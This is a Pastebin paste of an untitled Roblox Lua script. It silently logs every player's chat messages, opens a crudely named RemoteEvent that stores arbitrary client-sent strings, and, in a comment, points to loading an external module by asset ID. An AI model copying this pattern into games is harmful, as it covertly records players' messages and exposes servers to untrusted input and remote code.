Advertisement
DDDDDtuij

Untitled

May 23rd, 2017
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. --Feel free to probe this with fiddler: require(382739820)
  2.  
  3.  
  4. function Shortner(X)
  5. if not (string.lower(type(X))=='string') then
  6. return nil;
  7. end;
  8. local NL = 0;
  9. for i = 1,string.len(X) do
  10. NL = i;
  11. end;
  12. for _, players in pairs (game:GetService('Players'):GetPlayers()) do
  13. if (string.sub(string.lower(players.Name),1,NL)==(string.lower(X))) then
  14. return players;
  15. end;
  16. end;
  17. return nil;
  18. end
  19.  
  20. if game.Lighting:FindFirstChild("BigCocks") then
  21. game.Lighting:FindFirstChild("BigCocks"):remove()
  22. end
  23.  
  24. local a = Instance.new("RemoteEvent",game.Lighting)
  25.  
  26. a.Name = "BigCocks"
  27.  
  28. a.OnServerEvent:connect(function(plr, args)
  29. print(plr.Name..": "..args)
  30. local string = Instance.new("StringValue", game.Lighting)
  31. string.Name = plr.Name
  32. string.Value = args
  33. end)
  34.  
  35.  
  36.  
  37. for _, v in pairs(game.Players:GetChildren()) do
  38. v.Chatted:connect(function(msg)
  39. warn(v.Name..": "..msg)
  40. end)
  41. end
  42.  
  43. game.Players.PlayerAdded:connect(function(Player)
  44. wait(3)
  45. Player.Chatted:connect(function(message)
  46. warn(Player.Name..": "..message)
  47. end)
  48. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement